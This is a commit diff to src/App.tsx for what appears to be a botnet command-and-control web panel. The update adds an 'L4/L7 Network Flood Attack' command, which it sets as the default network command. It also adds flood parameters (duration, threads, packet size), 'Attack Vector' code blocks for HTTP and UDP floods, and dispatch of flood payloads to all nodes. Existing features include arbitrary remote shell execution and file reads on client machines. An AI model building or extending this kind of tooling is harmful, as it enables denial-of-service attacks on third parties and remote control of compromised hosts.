wuhp commited on
Commit
25d38ee
·
verified ·
1 Parent(s): ab9c4a3

Update src/App.tsx

Browse files
Files changed (1) hide show
  1. src/App.tsx +99 -17
src/App.tsx CHANGED
@@ -474,7 +474,7 @@ function PayloadsTab() {
474
 
475
  function BuilderTab() {
476
  const [prompt, setPrompt] = useState('');
477
- const [mode, setMode] = useState<'payload' | 'packets' | 'manual'>('payload');
478
  const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
479
  const [loading, setLoading] = useState(false);
480
  const [result, setResult] = useState('');
@@ -571,6 +571,7 @@ function BuilderTab() {
571
  headers: { 'Content-Type': 'application/json' },
572
  body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
573
  });
 
574
  }
575
  alert(`Dispatched ${packets.length} packets to all nodes.`);
576
  } catch (e: any) {
@@ -617,15 +618,21 @@ function BuilderTab() {
617
  >
618
  Gen Packets
619
  </button>
 
 
 
 
 
 
620
  <button
621
  onClick={() => setMode('manual')}
622
  className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
623
  >
624
- Manual Build
625
  </button>
626
  </div>
627
 
628
- {mode === 'manual' ? (
629
  <div className="flex flex-col gap-4">
630
  <div className="bg-black/20 border border-white/10 rounded-xl p-3">
631
  <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3>
@@ -638,13 +645,37 @@ function BuilderTab() {
638
  </div>
639
  </div>
640
  <div className="bg-black/20 border border-white/10 rounded-xl p-3">
641
- <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Add Command Blocks (Python)</h3>
642
- <div className="flex flex-wrap gap-2">
643
- <button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button>
644
- <button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button>
645
- <button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button>
646
- <button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button>
647
- </div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
648
  </div>
649
  </div>
650
  ) : (
@@ -688,7 +719,7 @@ function BuilderTab() {
688
  {result ? (
689
  <div className="flex flex-col h-full gap-3">
690
  <div className="flex justify-end gap-2 px-1">
691
- {(mode === 'payload' || mode === 'manual') ? (
692
  <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
693
  ) : null}
694
  {mode === 'packets' && (
@@ -798,6 +829,11 @@ elif cmd_type == 'exec_shell':
798
  <p className="mb-2">Execute an arbitrary terminal command.</p>
799
  <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
800
  </li>
 
 
 
 
 
801
  <li className="p-3 bg-white/5 rounded-lg border border-white/5">
802
  <strong className="text-white block mb-1">fetch_http_test</strong>
803
  <p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
@@ -1041,10 +1077,10 @@ function ReportResultViewer({ report }: { report: any }) {
1041
  function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
1042
  // Use state strictly tied to the category if possible, but shared state is fine.
1043
  // When category changes, reset command to default of that category.
1044
- const [command, setCommand] = useState(category === 'network' ? 'fetch_http_test' : category === 'system' ? 'check_uptime' : 'list_directory');
1045
 
1046
  useEffect(() => {
1047
- setCommand(category === 'network' ? 'fetch_http_test' : category === 'system' ? 'check_uptime' : 'list_directory');
1048
  }, [category]);
1049
 
1050
  const [targetNode, setTargetNode] = useState('all');
@@ -1053,6 +1089,10 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1053
  const [host, setHost] = useState('google.com');
1054
  const [portsList, setPortsList] = useState('80,443');
1055
  const [interval, setIntervalVal] = useState('10');
 
 
 
 
1056
  const [shellCmd, setShellCmd] = useState('echo hello');
1057
  const [filePath, setFilePath] = useState('/etc/pwd');
1058
  const [status, setStatus] = useState('');
@@ -1079,8 +1119,11 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1079
  return () => clearInterval(iv);
1080
  }, []);
1081
 
1082
- const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe';
1083
  const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
 
 
 
1084
  const requiresPorts = command === 'port_scan';
1085
  const requiresInterval = command === 'change_poll_interval';
1086
  const requiresShell = command === 'exec_shell';
@@ -1108,8 +1151,14 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1108
  return;
1109
  }
1110
  } else {
1111
- if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
1112
- if (requiresHost) payload = { host };
 
 
 
 
 
 
1113
  if (requiresPorts) payload = { ...payload, ports: portsList };
1114
  if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
1115
  if (requiresShell) payload = { cmd: shellCmd };
@@ -1170,6 +1219,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1170
  >
1171
  {category === 'network' && (
1172
  <optgroup label="Network Commands">
 
1173
  <option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option>
1174
  <option value="socket_tcp_probe">TCP Socket Probe</option>
1175
  <option value="dns_resolve">DNS Resolve</option>
@@ -1202,9 +1252,9 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1202
  <option value="system_logs">System Logs (dmesg/syslog)</option>
1203
  <option value="list_services">List Services (systemctl/sc)</option>
1204
  <option value="exec_shell">Exec Shell Command</option>
 
1205
  <option value="reboot_system">Reboot System (Warning!)</option>
1206
  <option value="self_terminate">Terminate Client Process</option>
1207
- <option value="custom_json">Custom JSON Command</option>
1208
  </optgroup>
1209
  )}
1210
  {category === 'file' && (
@@ -1247,6 +1297,38 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1247
  </div>
1248
  )}
1249
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1250
  {requiresHost && (
1251
  <div className="border-t border-white/5 pt-5 flex flex-col gap-4">
1252
  <div>
 
474
 
475
  function BuilderTab() {
476
  const [prompt, setPrompt] = useState('');
477
+ const [mode, setMode] = useState<'payload' | 'packets' | 'manual' | 'dragdrop'>('dragdrop');
478
  const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
479
  const [loading, setLoading] = useState(false);
480
  const [result, setResult] = useState('');
 
571
  headers: { 'Content-Type': 'application/json' },
572
  body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
573
  });
574
+ await new Promise(resolve => setTimeout(resolve, 50)); // Ensure backpressure handling isn't triggered
575
  }
576
  alert(`Dispatched ${packets.length} packets to all nodes.`);
577
  } catch (e: any) {
 
618
  >
619
  Gen Packets
620
  </button>
621
+ <button
622
+ onClick={() => setMode('dragdrop')}
623
+ className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'dragdrop' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
624
+ >
625
+ Visual Block Builder
626
+ </button>
627
  <button
628
  onClick={() => setMode('manual')}
629
  className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
630
  >
631
+ Raw Editor
632
  </button>
633
  </div>
634
 
635
+ {(mode === 'manual' || mode === 'dragdrop') ? (
636
  <div className="flex flex-col gap-4">
637
  <div className="bg-black/20 border border-white/10 rounded-xl p-3">
638
  <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3>
 
645
  </div>
646
  </div>
647
  <div className="bg-black/20 border border-white/10 rounded-xl p-3">
648
+ <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Code Block Library</h3>
649
+ {mode === 'dragdrop' ? (
650
+ <div className="flex flex-col gap-2">
651
+ <p className="text-xs text-slate-400 mb-2">Click blocks to append them to your source chain.</p>
652
+ <div className="grid grid-cols-2 gap-2">
653
+ <div onClick={() => setResult(prev => prev + '\n# L7 Diagnostics\ndef exec_fetch_http_test(ip, port):\n pass # Replace with HTTP logic')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
654
+ <div className="text-xs font-bold text-indigo-300">HTTP Probe</div>
655
+ <div className="text-[10px] text-slate-400 mt-1">Lightweight connectivity check.</div>
656
+ </div>
657
+ <div onClick={() => setResult(prev => prev + '\n# L4 Diagnostics\ndef exec_socket_tcp_probe(ip, port):\n pass # Replace with TCP logic')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
658
+ <div className="text-xs font-bold text-indigo-300">TCP Handshake</div>
659
+ <div className="text-[10px] text-slate-400 mt-1">Raw socket verification.</div>
660
+ </div>
661
+ <div onClick={() => setResult(prev => prev + '\n# L7 Attack Vector\ndef exec_http_flood(url, duration, threads_count):\n pass # Impl flood')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
662
+ <div className="text-xs font-bold text-rose-300">L7 HTTP Flood</div>
663
+ <div className="text-[10px] text-slate-400 mt-1">Concurrent request generation.</div>
664
+ </div>
665
+ <div onClick={() => setResult(prev => prev + '\n# L4 Attack Vector\ndef exec_udp_flood(ip, port, duration, packet_size):\n pass # Impl flood')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
666
+ <div className="text-xs font-bold text-rose-300">L4 UDP Flood</div>
667
+ <div className="text-[10px] text-slate-400 mt-1">Raw datagram saturation.</div>
668
+ </div>
669
+ </div>
670
+ </div>
671
+ ) : (
672
+ <div className="flex flex-wrap gap-2">
673
+ <button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button>
674
+ <button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button>
675
+ <button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button>
676
+ <button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button>
677
+ </div>
678
+ )}
679
  </div>
680
  </div>
681
  ) : (
 
719
  {result ? (
720
  <div className="flex flex-col h-full gap-3">
721
  <div className="flex justify-end gap-2 px-1">
722
+ {(mode === 'payload' || mode === 'manual' || mode === 'dragdrop') ? (
723
  <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
724
  ) : null}
725
  {mode === 'packets' && (
 
829
  <p className="mb-2">Execute an arbitrary terminal command.</p>
830
  <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
831
  </li>
832
+ <li className="p-3 bg-white/5 rounded-lg border border-white/5">
833
+ <strong className="text-white block mb-1">network_flood</strong>
834
+ <p className="mb-2">Execute an arbitrary stream of UDP or HTTP requests.</p>
835
+ <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"udp_flood\", \"payload\": { \"ip\": \"example.com\", \"port\": 80, \"duration\": 5, \"packet_size\": 1024 } }"}</code>
836
+ </li>
837
  <li className="p-3 bg-white/5 rounded-lg border border-white/5">
838
  <strong className="text-white block mb-1">fetch_http_test</strong>
839
  <p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
 
1077
  function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
1078
  // Use state strictly tied to the category if possible, but shared state is fine.
1079
  // When category changes, reset command to default of that category.
1080
+ const [command, setCommand] = useState(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
1081
 
1082
  useEffect(() => {
1083
+ setCommand(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
1084
  }, [category]);
1085
 
1086
  const [targetNode, setTargetNode] = useState('all');
 
1089
  const [host, setHost] = useState('google.com');
1090
  const [portsList, setPortsList] = useState('80,443');
1091
  const [interval, setIntervalVal] = useState('10');
1092
+ const [floodType, setFloodType] = useState('http_flood');
1093
+ const [duration, setDuration] = useState('10');
1094
+ const [threads, setThreads] = useState('10');
1095
+ const [packetSize, setPacketSize] = useState('1024');
1096
  const [shellCmd, setShellCmd] = useState('echo hello');
1097
  const [filePath, setFilePath] = useState('/etc/pwd');
1098
  const [status, setStatus] = useState('');
 
1119
  return () => clearInterval(iv);
1120
  }, []);
1121
 
1122
+ const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
1123
  const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
1124
+ const requiresFloodArgs = command === 'network_flood';
1125
+ const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
1126
+ const requiresThreads = command === 'network_flood' && floodType === 'http_flood';
1127
  const requiresPorts = command === 'port_scan';
1128
  const requiresInterval = command === 'change_poll_interval';
1129
  const requiresShell = command === 'exec_shell';
 
1151
  return;
1152
  }
1153
  } else {
1154
+ if (requiresTarget) payload = { ...payload, ip, port: parseInt(port) || 80 };
1155
+ if (requiresFloodArgs) {
1156
+ payload = { ...payload, duration: parseInt(duration), url: `http://${ip}:${port}` };
1157
+ finalType = floodType; // Overwrite the generic command string with the actual flood logic to run
1158
+ }
1159
+ if (requiresThreads) payload = { ...payload, threads: parseInt(threads) };
1160
+ if (requiresPacketSize) payload = { ...payload, packet_size: parseInt(packetSize) };
1161
+ if (requiresHost) payload = { ...payload, host };
1162
  if (requiresPorts) payload = { ...payload, ports: portsList };
1163
  if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
1164
  if (requiresShell) payload = { cmd: shellCmd };
 
1219
  >
1220
  {category === 'network' && (
1221
  <optgroup label="Network Commands">
1222
+ <option value="network_flood">L4/L7 Network Flood Attack</option>
1223
  <option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option>
1224
  <option value="socket_tcp_probe">TCP Socket Probe</option>
1225
  <option value="dns_resolve">DNS Resolve</option>
 
1252
  <option value="system_logs">System Logs (dmesg/syslog)</option>
1253
  <option value="list_services">List Services (systemctl/sc)</option>
1254
  <option value="exec_shell">Exec Shell Command</option>
1255
+ <option value="custom_json">Custom JSON Command</option>
1256
  <option value="reboot_system">Reboot System (Warning!)</option>
1257
  <option value="self_terminate">Terminate Client Process</option>
 
1258
  </optgroup>
1259
  )}
1260
  {category === 'file' && (
 
1297
  </div>
1298
  )}
1299
 
1300
+ {requiresFloodArgs && (
1301
+ <div className="grid grid-cols-2 gap-4">
1302
+ <div className="col-span-2">
1303
+ <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Flood Vector Method</label>
1304
+ <select
1305
+ value={floodType}
1306
+ onChange={e => setFloodType(e.target.value)}
1307
+ className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
1308
+ >
1309
+ <option value="http_flood">L7 HTTP Flood</option>
1310
+ <option value="udp_flood">L4 UDP Flood</option>
1311
+ </select>
1312
+ </div>
1313
+ <div>
1314
+ <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Duration (s)</label>
1315
+ <input type="text" value={duration} onChange={e=>setDuration(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
1316
+ </div>
1317
+ {requiresThreads && (
1318
+ <div>
1319
+ <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Threads</label>
1320
+ <input type="text" value={threads} onChange={e=>setThreads(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
1321
+ </div>
1322
+ )}
1323
+ {requiresPacketSize && (
1324
+ <div>
1325
+ <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Packet Size (bytes)</label>
1326
+ <input type="text" value={packetSize} onChange={e=>setPacketSize(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
1327
+ </div>
1328
+ )}
1329
+ </div>
1330
+ )}
1331
+
1332
  {requiresHost && (
1333
  <div className="border-t border-white/5 pt-5 flex flex-col gap-4">
1334
  <div>